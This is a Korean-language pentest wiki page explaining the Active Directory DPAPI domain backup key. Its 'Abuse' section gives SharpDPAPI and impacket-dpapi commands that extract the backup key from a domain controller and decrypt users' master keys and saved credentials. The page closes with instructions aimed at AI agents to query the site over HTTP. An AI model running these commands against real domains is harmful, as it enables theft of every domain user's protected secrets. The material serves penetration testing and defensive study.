# DPAPI Backup Key

도메인 사용자 계정의 패스워드가 변경될 경우, 사용자의 패스워드로부터 파생되는 비밀키로 암호화된 마스터키를 복호화 할 수단이 없습니다. 이런 경우를 방지하기 위해 마스터키 사본을 생성하고 도메인 백업키로 암호화 합니다.

이렇게 되면 과거에 사용한 사용자의 패스워드로 암호화 된 마스터키를 현재 사용자는 복호화 하지 못하더라도 도메인 백업키를 통해 사본 마스터키를 복호화하여 데이터를 얻을 수 있고, 복호화 한 데이터를 새로운 마스터키로 암호화한 뒤, 이 마스터키는 현재 패스워드로 암호화하여 저장할 수 있습니다.

{% hint style="info" %}
도메인 관리자는 BackupKey 원격 프로토콜을 사용하여 도메인 컨트롤러로부터 백업 키를 추출할 수 있습니다.
{% endhint %}

특이한 점으로 생성된 도메인 백업키를 변경할 수 있는 수단은 공식적으로 지원되지 않습니다. 비공식적 수단을 제외하면 도메인 환경 구축 후 이론상 영원히 마스터키는 동일합니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># 도메인 백업 키 추출
</strong>.\SharpDPAPI.exe backupkey /nowrap

<strong># 자격 증명 복호화
</strong>.\SharpDPAPI.exe credentials /pvk:&#x3C;Backup Key>
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 도메인 백업 키 추출
</strong>impacket-dpapi backupkeys -t contoso.com/Administrator:'Password123!'@192.168.1.11 -dc-ip '192.168.1.11'

<strong># 마스터 키 복호화
</strong>impacket-dpapi masterkey -file masterkey -password 'x' -sid 'S-1-5-21-1706474481-3154330266-3610869000-500' -key 'x' -pvk backupkey.pvk

<strong># 자격 증명 복호화
</strong>impacket-dpapi credential -file vault -key '0x46cfb8b408aab4ae66ffbbbcf67ac03cfc919587e4ec39b9a936f6c93d92386603bb56b2d861be88495529dd74b23487ab78dcd98a1576b9b30ddc10ed379f2e'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://learn.microsoft.com/ko-kr/windows/win32/seccng/cng-dpapi-backup-keys-on-ad-domain-controllers>" %}

{% embed url="<https://www.dsinternals.com/en/dpapi-backup-key-theft-auditing/>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-bkrp/90b08be4-5175-4177-b4ce-d920d797e3a8>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/data-theft/active-directory/dpapi-backup-key.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
